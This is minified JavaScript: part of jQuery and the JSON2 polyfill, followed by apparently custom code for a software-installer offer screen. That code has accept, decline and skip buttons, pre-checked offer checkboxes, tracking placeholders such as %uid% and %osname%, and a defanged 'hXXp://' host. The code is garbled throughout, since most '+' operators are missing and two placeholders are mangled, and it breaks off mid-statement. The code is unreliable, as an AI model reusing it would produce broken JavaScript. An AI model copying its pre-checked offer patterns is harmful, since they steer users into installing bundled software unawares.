l>=0&&(i=e.slice(l,e.length),e=e.slice(0,l)),x.isFunction(n)?(r=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&x.ajax({url:e,type:a,dataType:"html",data:n}).done(function(e){o=arguments,s.html(i?x("<div>").append(x.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){s.each(r,o||[e.responseText,t,e])}),this},x.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){x.fn[t]=function(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yn,type:"GET",isLocal:Cn.test(mn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Dn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":x.parseJSON,"text xml":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?_n(_n(e,x.ajaxSettings),t):_n(x.ajaxSettings,e)},ajaxPrefilter:Hn(An),ajaxTransport:Hn(jn),ajax:function(e,n){"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,o,a,s,l,u,c,p=x.ajaxSetup({},n),f=p.context||p,d=p.context&&(f.nodeType||f.jquery)?x(f):x.event,h=x.Deferred(),g=x.Callbacks("once memory"),m=p.statusCode||{},y={},v={},b=0,w="canceled",C={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c){c={};while(t=Tn.exec(a)){c[t[1].toLowerCase()]=t[2]}}t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=v[n]=v[n]||e,y[e]=t),this},overrideMimeType:function(e){return b||(p.mimeType=e),this},statusCode:function(e){var t;if(e){if(2>b){for(t in e){m[t]=[m[t],e[t]]}}else{C.always(e[C.status])}}return this},abort:function(e){var t=e||w;return u&&u.abort(t),k(0,t),this}};if(h.promise(C).complete=g.add,C.success=C.done,C.error=C.fail,p.url=((e||p.url||yn) "").replace(xn,"").replace(kn,mn[1] "//"),p.type=n.method||n.type||p.method||p.type,p.dataTypes=x.trim(p.dataType||"*").toLowerCase().match(T)||[""],null==p.crossDomain&&(r=En.exec(p.url.toLowerCase()),p.crossDomain=!(!r||r[1]===mn[1]&&r[2]===mn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(mn[3]||("http:"===mn[1]?"80":"443")))),p.data&&p.processData&&"string"!=typeof p.data&&(p.data=x.param(p.data,p.traditional)),qn(An,p,n,C),2===b){return C}l=p.global,l&&0===x.active &&x.event.trigger("ajaxStart"),p.type=p.type.toUpperCase(),p.hasContent=!Nn.test(p.type),o=p.url,p.hasContent||(p.data&&(o=p.url =(bn.test(o)?"&":"?") p.data,delete p.data),p.cache===!1&&(p.url=wn.test(o)?o.replace(wn,"$1_=" vn ):o (bn.test(o)?"&":"?") "_=" vn )),p.ifModified&&(x.lastModified[o]&&C.setRequestHeader("If-Modified-Since",x.lastModified[o]),x.etag[o]&&C.setRequestHeader("If-None-Match",x.etag[o])),(p.data&&p.hasContent&&p.contentType!==!1||n.contentType)&&C.setRequestHeader("Content-Type",p.contentType),C.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?p.accepts[p.dataTypes[0]] ("*"!==p.dataTypes[0]?", " Dn "; q=0.01":""):p.accepts["*"]);for(i in p.headers){C.setRequestHeader(i,p.headers[i])}if(p.beforeSend&&(p.beforeSend.call(f,C,p)===!1||2===b)){return C.abort()}w="abort";for(i in {success:1,error:1,complete:1}){C[i](p[i])}if(u=qn(jn,p,n,C)){C.readyState=1,l&&d.trigger("ajaxSend",[C,p]),p.async&&p.timeout>0&&(s=setTimeout(function(){C.abort("timeout")},p.timeout));try{b=1,u.send(y,k)}catch(N){if(!(2>b)){throw N}k(-1,N)}}else{k(-1,"No Transport")}function k(e,n,r,i){var c,y,v,w,T,N=n;2!==b&&(b=2,s&&clearTimeout(s),u=t,a=i||"",C.readyState=e>0?4:0,c=e>=200&&300>e||304===e,r&&(w=Mn(p,C,r)),w=On(p,w,C,c),c?(p.ifModified&&(T=C.getResponseHeader("Last-Modified"),T&&(x.lastModified[o]=T),T=C.getResponseHeader("etag"),T&&(x.etag[o]=T)),204===e||"HEAD"===p.type?N="nocontent":304===e?N="notmodified":(N=w.state,y=w.data,v=w.error,c=!v)):(v=N,(e||!N)&&(N="error",0>e&&(e=0))),C.status=e,C.statusText=(n||N) "",c?h.resolveWith(f,[y,N,C]):h.rejectWith(f,[C,N,v]),C.statusCode(m),m=t,l&&d.trigger(c?"ajaxSuccess":"ajaxError",[C,p,c?y:v]),g.fireWith(f,[C,N]),l&&(d.trigger("ajaxComplete",[C,p]),--x.active||x.event.trigger("ajaxStop")))}return C},getJSON:function(e,t,n){return x.get(e,t,n,"json")},getScript:function(e,n){return x.get(e,t,n,"script")}}),x.each(["get","post"],function(e,n){x[n]=function(e,r,i,o){return x.isFunction(r)&&(o=o||i,i=r,r=t),x.ajax({url:e,type:n,dataType:o,data:r,success:i})}});function Mn(e,n,r){var i,o,a,s,l=e.contents,u=e.dataTypes;while("*"===u[0]){u.shift(),o===t&&(o=e.mimeType||n.getResponseHeader("Content-Type"))}if(o){for(s in l){if(l[s]&&l[s].test(o)){u.unshift(s);break}}}if(u[0] in r){a=u[0]}else{for(s in r){if(!u[0]||e.converters[s " " u[0]]){a=s;break}i||(i=s)}a=a||i}return a?(a!==u[0]&&u.unshift(a),r[a]):t}function On(e,t,n,r){var i,o,a,s,l,u={},c=e.dataTypes.slice();if(c[1]){for(a in e.converters){u[a.toLowerCase()]=e.converters[a]}}o=c.shift();while(o){if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift()){if("*"===o){o=l}else{if("*"!==l&&l!==o){if(a=u[l " " o]||u["* " o],!a){for(i in u){if(s=i.split(" "),s[1]===o&&(a=u[l " " s[0]]||u["* " s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s[1]));break}}}if(a!==!0){if(a&&e["throws"]){t=a(t)}else{try{t=a(t)}catch(p){return{state:"parsererror",error:a?p:"No conversion from " l " to " o}}}}}}}}return{state:"success",data:t}}x.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),x.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=a.head||x("head")[0]||a.documentElement;return{send:function(t,i){n=a.createElement("script"),n.async=!0,e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i(200,"success"))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var Fn=[],Bn=/(=)\?(?=&|$)|\?\?/;x.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Fn.pop()||x.expando "_" vn ;return this[e]=!0,e}}),x.ajaxPrefilter("json jsonp",function(n,r,i){var o,a,s,l=n.jsonp!==!1&&(Bn.test(n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Bn.test(n.data)&&"data");return l||"jsonp"===n.dataTypes[0]?(o=n.jsonpCallback=x.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,l?n[l]=n[l].replace(Bn,"$1" o):n.jsonp!==!1&&(n.url =(bn.test(n.url)?"&":"?") n.jsonp "=" o),n.converters["script json"]=function(){return s||x.error(o " was not called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&(n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&x.isFunction(a)&&a(s[0]),s=a=t}),"script"):t});var Pn,Rn,Wn=0,$n=e.ActiveXObject&&function(){var e;for(e in Pn){Pn[e](t,!0)}};function In(){try{return new e.XMLHttpRequest}catch(t){}}function zn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}x.ajaxSettings.xhr=e.ActiveXObject?function(){return !this.isLocal&&In()||zn()}:In,Rn=x.ajaxSettings.xhr(),x.support.cors=!!Rn&&"withCredentials" in Rn,Rn=x.support.ajax=!!Rn,Rn&&x.ajaxTransport(function(n){if(!n.crossDomain||x.support.cors){var r;return{send:function(i,o){var a,s,l=n.xhr();if(n.username?l.open(n.type,n.url,n.async,n.username,n.password):l.open(n.type,n.url,n.async),n.xhrFields){for(s in n.xhrFields){l[s]=n.xhrFields[s]}}n.mimeType&&l.overrideMimeType&&l.overrideMimeType(n.mimeType),n.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");try{for(s in i){l.setRequestHeader(s,i[s])}}catch(u){}l.send(n.hasContent&&n.data||null),r=function(e,i){var s,u,c,p;try{if(r&&(i||4===l.readyState)){if(r=t,a&&(l.onreadystatechange=x.noop,$n&&delete Pn[a]),i){4!==l.readyState&&l.abort()}else{p={},s=l.status,u=l.getAllResponseHeaders(),"string"==typeof l.responseText&&(p.text=l.responseText);try{c=l.statusText}catch(f){c=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=p.text?200:404}}}catch(d){i||o(-1,d)}p&&o(s,c,p,u)},n.async?4===l.readyState?setTimeout(r):(a= Wn,$n&&(Pn||(Pn={},x(e).unload($n)),Pn[a]=r),l.onreadystatechange=r):r()},abort:function(){r&&r(t,!0)}}}});var Xn,Un,Vn=/^(?:toggle|show|hide)$/,Yn=RegExp("^(?:([ -])=|)(" w ")([a-z%]*)$","i"),Jn=/queueHooks$/,Gn=[nr],Qn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=Yn.exec(t),o=i&&i[3]||(x.cssNumber[e]?"":"px"),a=(x.cssNumber[e]||"px"!==o&& r)&&Yn.exec(x.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a= r||1;do{s=s||".5",a/=s,x.style(n.elem,e,a o)}while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start= a|| r||0,n.unit=o,n.end=i[1]?a (i[1] 1)*i[2]: i[2]),n}]};function Kn(){return setTimeout(function(){Xn=t}),Xn=x.now()}function Zn(e,t,n){var r,i=(Qn[t]||[]).concat(Qn["*"]),o=0,a=i.length;for(;a>o;o ){if(r=i[o].call(n,t,e)){return r}}}function er(e,t,n){var r,i,o=0,a=Gn.length,s=x.Deferred().always(function(){delete l.elem}),l=function(){if(i){return !1}var t=Xn||Kn(),n=Math.max(0,u.startTime u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens.length;for(;l>a;a ){u.tweens[a].run(o)}return s.notifyWith(e,[u,o,n]),1>o&&l?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:Xn||Kn(),duration:n.duration,tweens:[],createTween:function(t,n){var r=x.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i){return this}for(i=!0;r>n;n ){u.tweens[n].run(1)}return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(tr(c,u.opts.specialEasing);a>o;o ){if(r=Gn[o].call(u,e,c,u.opts)){return r}}return x.map(c,Zn,u),x.isFunction(u.opts.start)&&u.opts.start.call(e,u),x.fx.timer(x.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function tr(e,t){var n,r,i,o,a;for(n in e){if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=x.cssHooks[r],a&&"expand" in a){o=a.expand(o),delete e[r];for(n in o){n in e||(e[n]=o[n],t[n]=i)}}else{t[r]=i}}}x.Animation=x.extend(er,{tweener:function(e,t){x.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;i>r;r ){n=e[r],Qn[n]=Qn[n]||[],Qn[n].unshift(t)}},prefilter:function(e,t){t?Gn.unshift(e):Gn.push(e)}});function nr(e,t,n){var r,i,o,a,s,l,u=this,c={},p=e.style,f=e.nodeType&&nn(e),d=x._data(e,"fxshow");n.queue||(s=x._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued ,u.always(function(){u.always(function(){s.unqueued--,x.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height" in t||"width" in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],"inline"===x.css(e,"display")&&"none"===x.css(e,"float")&&(x.support.inlineBlockNeedsLayout&&"inline"!==ln(e.nodeName)?p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",x.support.shrinkWrapBlocks||u.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t){if(i=t[r],Vn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(f?"hide":"show")){continue}c[r]=d&&d[r]||x.style(e,r)}}if(!x.isEmptyObject(c)){d?"hidden" in d&&(f=d.hidden):d=x._data(e,"fxshow",{}),o&&(d.hidden=!f),f?x(e).show():u.done(function(){x(e).hide()}),u.done(function(){var t;x._removeData(e,"fxshow");for(t in c){x.style(e,t,c[t])}});for(r in c){a=Zn(f?d[r]:0,r,u),r in d||(d[r]=a.start,f&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}}function rr(e,t,n,r,i){return new rr.prototype.init(e,t,n,r,i)}x.Tween=rr,rr.prototype={constructor:rr,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(x.cssNumber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return e&&e.get?e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHooks[this.prop];return this.pos=t=this.options.duration?x.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):rr.propHooks._default.set(this),this}},rr.prototype.init.prototype=rr.prototype,rr.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style(e.elem,e.prop,e.now e.unit):e.elem[e.prop]=e.now}}},rr.propHooks.scrollTop=rr.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.each(["toggle","show","hide"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ir(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter(nn).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject(e),o=x.speed(t,n,r),a=function(){var t=er(this,x.extend({},e),o);(i||x._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return"string"!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=null!=e&&e "queueHooks",o=x.timers,a=x._data(this);if(n){a[n]&&a[n].stop&&i(a[n])}else{for(n in a){a[n]&&a[n].stop&&Jn.test(n)&&i(a[n])}}for(n=o.length;n--;){o[n].elem!==this||null!=e&&o[n].queue!==e||(o[n].anim.stop(r),t=!1,o.splice(n,1))}(t||!r)&&x.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=x._data(this),r=n[e "queue"],i=n[e "queueHooks"],o=x.timers,a=r?r.length:0;for(n.finish=!0,x.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;){o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1))}for(t=0;a>t;t ){r[t]&&r[t].finish&&r[t].finish.call(this)}delete n.finish})}});function ir(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i =2-t){n=Zt[i],r["margin" n]=r["padding" n]=e}return t&&(r.opacity=r.width=e),r}x.each({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){x.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e&&"object"==typeof e?x.extend({},e):{complete:n||!n&&t||x.isFunction(e)&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return r.duration=x.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds[r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call(this),r.queue&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return 0.5-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=rr.prototype.init,x.fx.tick=function(){var e,n=x.timers,r=0;for(Xn=x.now();n.length>r;r ){e=n[r],e()||n[r]!==e||n.splice(r--,1)}n.length||x.fx.stop(),Xn=t},x.fx.timer=function(e){e()&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function(){Un||(Un=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(Un),Un=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr.filters&&(x.expr.filters.animated=function(e){return x.grep(x.timers,function(t){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length){return e===t?this:this.each(function(t){x.offset.setOffset(this,e,t)})}var n,r,o={top:0,left:0},a=this[0],s=a&&a.ownerDocument;if(s){return n=s.documentElement,x.contains(n,a)?(typeof a.getBoundingClientRect!==i&&(o=a.getBoundingClientRect()),r=or(s),{top:o.top (r.pageYOffset||n.scrollTop)-(n.clientTop||0),left:o.left (r.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):o}},x.offset={setOffset:function(e,t,n){var r=x.css(e,"position");"static"===r&&(e.style.position="relative");var i=x(e),o=i.offset(),a=x.css(e,"top"),s=x.css(e,"left"),l=("absolute"===r||"fixed"===r)&&x.inArray("auto",[a,s])>-1,u={},c={},p,f;l?(c=i.position(),p=c.top,f=c.left):(p=parseFloat(a)||0,f=parseFloat(s)||0),x.isFunction(t)&&(t=t.call(e,n,o)),null!=t.top&&(u.top=t.top-o.top p),null!=t.left&&(u.left=t.left-o.left f),"using" in t?t.using.call(e,u):i.css(u)}},x.fn.extend({position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===x.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],"html")||(n=e.offset()),n.top =x.css(e[0],"borderTopWidth",!0),n.left =x.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-x.css(r,"marginTop",!0),left:t.left-n.left-x.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||s;while(e&&!x.nodeName(e,"html")&&"static"===x.css(e,"position")){e=e.offsetParent}return e||s})}}),x.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);x.fn[e]=function(i){return x.access(this,function(e,i,o){var a=or(e);return o===t?a?n in a?a[n]:a.document.documentElement[i]:e[i]:(a?a.scrollTo(r?x(a).scrollLeft():o,r?o:x(a).scrollTop()):e[i]=o,t)},e,i,arguments.length,null)}});function or(e){return x.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}x.each({Height:"height",Width:"width"},function(e,n){x.each({padding:"inner" e,content:n,"":"outer" e},function(r,i){x.fn[i]=function(i,o){var a=arguments.length&&(r||"boolean"!=typeof i),s=r||(i===!0||o===!0?"margin":"border");return x.access(this,function(n,r,i){var o;return x.isWindow(n)?n.document.documentElement["client" e]:9===n.nodeType?(o=n.documentElement,Math.max(n.body["scroll" e],o["scroll" e],n.body["offset" e],o["offset" e],o["client" e])):i===t?x.css(n,r,s):x.style(n,r,i,s)},n,a?i:t,a,null)}})}),x.fn.size=function(){return this.length},x.fn.andSelf=x.fn.addBack,"object"==typeof module&&module&&"object"==typeof module.exports?module.exports=x:(e.jQuery=e.$=x,"function"==typeof define&&define.amd&&define("jquery",[],function(){return x}))})(window);if(typeof JSON!=="object"){JSON={}}(function(){function f(n){return n<10?"0" n:n}if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(){return isFinite(this.valueOf())?this.getUTCFullYear() "-" f(this.getUTCMonth() 1) "-" f(this.getUTCDate()) "T" f(this.getUTCHours()) ":" f(this.getUTCMinutes()) ":" f(this.getUTCSeconds()) "Z":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(){return this.valueOf()}}var cx,escapable,gap,indent,meta,rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"' string.replace(escapable,function(a){var c=meta[a];return typeof c==="string"?c:"\\u" ("0000" a.charCodeAt(0).toString(16)).slice(-4)}) '"':'"' string '"'}function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==="object"&&typeof value.toJSON==="function"){value=value.toJSON(key)}if(typeof rep==="function"){value=rep.call(holder,key,value)}switch(typeof value){case"string":return quote(value);case"number":return isFinite(value)?String(value):"null";case"boolean":case"null":return String(value);case"object":if(!value){return"null"}gap =indent;partial=[];if(Object.prototype.toString.apply(value)==="[object Array]"){length=value.length;for(i=0;i<length;i =1){partial[i]=str(i,value)||"null"}v=partial.length===0?"[]":gap?"[\n" gap partial.join(",\n" gap) "\n" mind "]":"[" partial.join(",") "]";gap=mind;return v}if(rep&&typeof rep==="object"){length=rep.length;for(i=0;i<length;i =1){if(typeof rep[i]==="string"){k=rep[i];v=str(k,value);if(v){partial.push(quote(k) (gap?": ":":") v)}}}}else{for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=str(k,value);if(v){partial.push(quote(k) (gap?": ":":") v)}}}}v=partial.length===0?"{}":gap?"{\n" gap partial.join(",\n" gap) "\n" mind "}":"{" partial.join(",") "}";gap=mind;return v}}if(typeof JSON.stringify!=="function"){escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"};JSON.stringify=function(value,replacer,space){var i;gap="";indent="";if(typeof space==="number"){for(i=0;i<space;i =1){indent =" "}}else{if(typeof space==="string"){indent=space}}rep=replacer;if(replacer&&typeof replacer!=="function"&&(typeof replacer!=="object"||typeof replacer.length!=="number")){throw new Error("JSON.stringify")}return str("",{"":value})}}if(typeof JSON.parse!=="function"){cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;JSON.parse=function(text,reviver){var j;function walk(holder,key){var k,v,value=holder[key];if(value&&typeof value==="object"){for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=walk(value,k);if(v!==undefined){value[k]=v}else{delete value[k]}}}}return reviver.call(holder,key,value)}text=String(text);cx.lastIndex=0;if(cx.test(text)){text=text.replace(cx,function(a){return"\\u" ("0000" a.charCodeAt(0).toString(16)).slice(-4)})}if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g,"]").replace(/(?:^|:|,)(?:\s*\[) /g,""))){j=eval("(" text ")");return typeof reviver==="function"?walk({"":j},""):j}throw new SyntaxError("JSON.parse")}}}());var actualWidth;var actualHeight;function getBodySize(){try{try{addTrace("enter");actualWidth=$("#_BodyWidth").text();addTrace("width");actualHeight=$("#_BodyHeight").text();addTrace("height");addLog("width:" actualWidth);addLog("height:" actualHeight);if($.isNumeric(actualWidth)&&$.isNumeric(actualHeight)){return}}catch(ex){}actualWidth=$(document).width();actualHeight=$(document).height();if(actualHeight<100){actualWidth=$("body").width();actualHeight=$("body").height()}if(actualHeight<100){actualWidth=$("body").css("width");actualHeight=$("body").css("height")}if(actualHeight<100||actualHeight>600){actualWidth=670;actualHeight=410}}catch(err){actualWidth=670;actualHeight=410}}function setButtonDefaultText(elements){var setDefault=function(element){if(element){element.attr("defaultText",element.val())}};$.each(elements,function(key,element){setDefault(element)})}function setButtonsText(){var json=[{text:"#_OfferAcceptText",element:"#_Bnext"},{text:"#_OfferDeclineText",element:"#_Bdecline"},{text:"#_OfferExitText",element:"#_Bexit"},{text:"#_OfferSkipText",element:"#_Bomit"}];setText(json)}function setText(json){var setText=function(elementWithText,element){if(!element){addLog("noelement");return}if(elementWithText.html()){addLog("element->" elementWithText.html());element.val(elementWithText.html())}else{addLog("noelement->" element.attr("defaultText"));element.val(element.attr("defaultText"))}};$.each(json,function(key,element){setText($(element.text),$(element.element))})}function replaceResponse(data,installerData,dataObject,buttonText,hostName){hostName=hostName||"hXXp://" installerData.extra.requestHost "/";data=data.replace(/%osname%/g,machineInfo.osname);data=data.replace(/%ub%/g,installerData.usedBrowser);data=data.replace(/%buttonText%/g,buttonText);data=data.replace(/%uid%/g,installerData.uid);data=data.replace(/%downloadDomain%/g,installerData.host);data=data.replace(/%mapp%/g,dataObject.presentation.formCaption);data=data.replace(/¯fcode%/g,installerData.publisher);data=data.replace(/Ìode%/g,dataObject.country.toLowerCase());data=data.replace(/%crossDomain%/g,hostName);return data}function addStyle(style,removable){if(typeof removable==="undefined"){removable=false}$("head").append($("<link />",{rel:"stylesheet",href:style,tag:removable,type:"text/css"}))}function removePreviousStyles(){$("link").each(function(){if($(this).attr("tag")=="true"){$(this).remove()}})}function createFrame(src,style,failCallback,callback){removePreviousStyles();if(style&&style!=""){addStyle(style,true)}getResponseFromWrapper(src,"",callback,failCallback)}function loadProfile(src,style,failCallback,callback){addStyle(style);getResponseFromWrapper(src,"",callback,failCallback)}function returnIdValue(identifier){var text=null;if($(identifier)){text=$(identifier).html()}return text}function SetLink(classname,value,onParent){var element=$("." classname);var tohide;if(onParent){tohide=element.parent()}else{tohide=element}if(value&&element){try{element.attr("href",value);tohide.show()}catch(err){}}else{try{tohide.hide()}catch(err){}}}function buttonsVisibility(showIds){var ButtonsListIds=["_Bnext","_Bdecline","_Bomit","_Bexit"];for(var i=0;i<ButtonsListIds.length;i ){if($.inArray(ButtonsListIds[i],showIds)>-1){$("#" ButtonsListIds[i]).show()}else{$("#" ButtonsListIds[i]).hide()}}var ButtonListShoes=["_Bminimize","_Bmaximize","_Bclose"];for(var a=0;a<ButtonListShoes.length;a ){if($.inArray(ButtonListShoes[a],showIds)>-1){disableControlBoxButtons(a,true)}else{disableControlBoxButtons(a,false)}}}function changeClassContentWaiting(key,value,append,callback){var maxTimes=5;var interval=setInterval(function(){if(key!=""&&$("." key).length){$("." key).each(function(){updateValue($(this),value,append)});if(typeof callback!=="undefined"){callback()}clearInterval(interval)}else{maxTimes--;if(maxTimes<=0){if(typeof callback!=="undefined"){callback()}clearInterval(interval)}}},50)}function updateValue(element,value,append){if(element.is("input")){element.val(value)}else{if(append){element.append(value)}else{element.html(value)}}}function hideClasses(classes){for(var i=0;i<classes.length;i ){var element=$("." classes[i]);element.hide()}}function changeRecomended(checked){if(checked=="1"){$("._args").hide();$("._noargs").show();$("._CBarg").each(function(){$(this).prop("checked",$(this).attr("tag"))})}else{$("._args").show();$("._noargs").hide()}}function disableArgs(_checked){$("._CBarg").each(function(element){if(_checked){$(this).prop("checked",1);$(this).prop("disabled",0)}else{$(this).prop("checked",0);$(this).prop("disabled",1)}})}function addDecline(text,disable,callback,tag){var dis="";if(disable){dis="onclick='disableArgs(this.checked)'"}var cb="<span><input class='_CBdecline' type='checkbox' checked='checked' tag='" tag "' " dis " /> " text "</span>";changeClassContentWaiting("_args",cb,true,callback)}function addArg(text,check,uncheck,startState,classname,callback){if(typeof classname==="undefined"||classname==""){classname="_args"}if($("." classname).length<1){classname="_args"}var cb="<span><input class='_CBarg' type='checkbox' tag='" startState "' checked='" startState "' check='" check "' uncheck='" uncheck "' /> " text "</span>";changeClassContentWaiting(classname,cb,true,callback)}function GetCommandline(commandline,delimitator){if(typeof delimitator==="undefined"){delimitator=" "}var 